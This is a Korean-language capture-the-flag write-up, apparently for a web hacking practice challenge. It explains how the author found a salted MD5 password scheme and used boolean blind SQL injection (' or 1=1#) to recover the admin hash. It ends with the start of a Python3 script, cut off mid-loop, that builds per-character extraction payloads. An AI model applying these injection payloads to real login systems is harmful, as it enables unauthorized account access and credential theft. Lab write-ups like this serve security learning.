join에 들어가서 ID는 user1, PW는 1234로 가입시키면 Done 이라는 말이나온다. 그 상태에서 로그인했더니, userkey값이 md5해시되어 나온다. 이 부분을 복호화 시켰더니, 1234zombie 로 뜨는 것을 확인할 수 있다. 그렇다면, 모든 패스워드는 해시되기전에 뒤에 zombie가 붙어서 해시가 된다는 것을 알 수 있다.
그리고 나서 sql Injection으로 생각해, 참형태로 만들어주었다. 기본적인 참 형태인 ' or 1=1# 을 입력시켰더니, Wrong Password가 뜬다. 거짓일 경우에는 Wrong 만 나온다. 이것을 바탕으로 패스워드가 해시되어있으므로 길이는 32라는 것을 알 수 있고, 하나씩 자리로 찾아주었다. 자동화 프로그램을 돌려주게 되면 2a93a7cea083c6e9e02c97ec5a5d715a 결과값이 나오게 되고, MD5 복호화 시키면 rainbowzombie가 나온다. 이 값으로 id - admin pw - rainbow를 입력시켰다.
[Challenge 22 자동화프로그램] - Python3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import socket
for i inrange(1,32):
for ch inrange(48,103):
if58<= ch <=96: continue
x ="uuid=%27+or+id%3d%27admin%27+and+ord(mid(pw,"+str(i)+",1))="+str(ch)+"%23"